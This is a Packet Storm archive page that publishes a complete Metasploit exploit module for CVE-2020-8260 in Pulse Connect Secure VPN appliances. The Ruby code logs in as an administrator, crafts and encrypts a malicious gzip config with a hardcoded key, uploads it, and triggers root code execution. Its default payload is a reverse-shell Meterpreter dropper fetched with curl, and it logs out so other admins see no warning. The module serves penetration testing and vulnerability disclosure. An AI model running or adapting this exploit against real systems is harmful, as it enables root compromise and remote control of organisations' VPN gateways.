what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pulse Secure VPN Remote Code Execution

Pulse Secure VPN Remote Code Execution
Posted Dec 18, 2020
Authored by h00die, Spencer McIntyre, Richard Warren, David Cash | Site metasploit.com

The Pulse Connect Secure appliance versions prior to 9.1R9 suffer from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in remote code execution as root. Admin credentials are required for successful exploitation.

tags | exploit, remote, arbitrary, root, code execution
advisories | CVE-2020-8260
SHA-256 | 8de39b3d864b347239de1ec3dc821eb3dbbd1f8d117938aab08b12b371a9dbc1

Pulse Secure VPN Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pulse Secure VPN gzip RCE',
'Description' => %q{
The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability
which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.
Admin credentials are required for successful exploitation.
Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.
},
'Author' => [
'h00die', # msf module
'Spencer McIntyre', # msf module
'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery
'David Cash <david.cash@nccgroup.com>', # original PoC, discovery
],
'References' => [
['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],
['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],
['CVE', '2020-8260']
],
'DisclosureDate' => '2020-10-26',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
}
]
],
'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI of the application', '/']),
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to login with', '123456'])
])

register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),
])
end

def check(exploiting: false)
login
res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
version, build = version

return CheckCode::Unknown unless version.include?('R')

version, revision = version.split('R', 2)
print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")
return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9

CheckCode::Detected
rescue Msf::Exploit::Failed
CheckCode::Unknown
ensure
logout unless exploiting
end

def exploit
case (checkcode = check(exploiting: true))
when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
print_good(checkcode.message)
when Exploit::CheckCode::Detected
print_warning(checkcode.message)
else
fail_with(Module::Failure::Unknown, checkcode.message.to_s)
end

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(
linemax: 262144, # 256KiB
delay: datastore['CMDSTAGER::DELAY']
)
end

logout
end

def execute_command(command, _opts = {})
trigger = Rex::Text.rand_text_alpha_upper(8)
print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")

config = build_malicious_config(command, trigger)
res = upload_config(config)

fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200

print_status('Triggering RCE')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),
'headers' => { trigger => trigger }
})
end

def res_get_xsauth(res)
res.body.scan(%r{name="xsauth" value="([^"]+)"/>})&.last&.first
end

def upload_config(config)
print_status('Requesting backup config page')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
'vars_get' => { 'type' => 'system' }
})
fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200
xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?

post_data = Rex::MIME::Message.new
post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
post_data.add_part('Import', nil, nil, 'form-data; name="op"')
post_data.add_part('system', nil, nil, 'form-data; name="type"')
post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')
post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"')
post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"')
post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')

print_status('Uploading encrypted config backup')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),
'method' => 'POST',
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
end

def login
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'tz_offset' => '-300',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'realm' => 'Admin Users',
'btnSubmit' => 'Sign In'
},
'keep_cookies' => true
})

fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
location = res.headers['Location']
fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')

return unless location.include?('admin%2Dconfirm')

# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.
print_status('Other admin sessions detected, continuing')
res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last
xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'btnContinue' => 'Continue the session',
'FormDataStr' => fds.first,
'xsauth' => xsauth
},
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Login failed') unless res
end

def logout
print_status('Logging out to prevent warnings to other admins')
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200

logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?

res = send_request_cgi({ 'uri' => logout_uri })
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302
end

def build_malicious_config(cmd, trigger)
payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"
perl = <<~PERL
if (length $ENV{HTTP_#{trigger}}){
chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";
system("env /data/var/runtime/tmp/tt/#{payload_script}");
}
PERL
tarfile = StringIO.new
Gem::Package::TarWriter.new(tarfile) do |tar|
tar.mkdir('tmp', 509)
tar.mkdir('tmp/tt', 509)
tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|
tio.write perl
end
tar.add_file("tmp/tt/#{payload_script}", 511) do |tio|
tio.write "PATH=/home/bin:$PATH\n"
tio.write "rm -- \"$0\"\n"
tio.write cmd
end
end

gzfile = StringIO.new
gz = Zlib::GzipWriter.new(gzfile)
gz.write(tarfile.string)
gz.close

encrypt_config(gzfile.string)
end

def encrypt_config(config_blob)
cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt
iv = cipher.iv = cipher.random_iv
cipher.key = ENCRYPTION_KEY

md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}")

ciphertext = cipher.update(config_blob)
ciphertext << cipher.final
md5 << ciphertext

cipher.reset
"\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close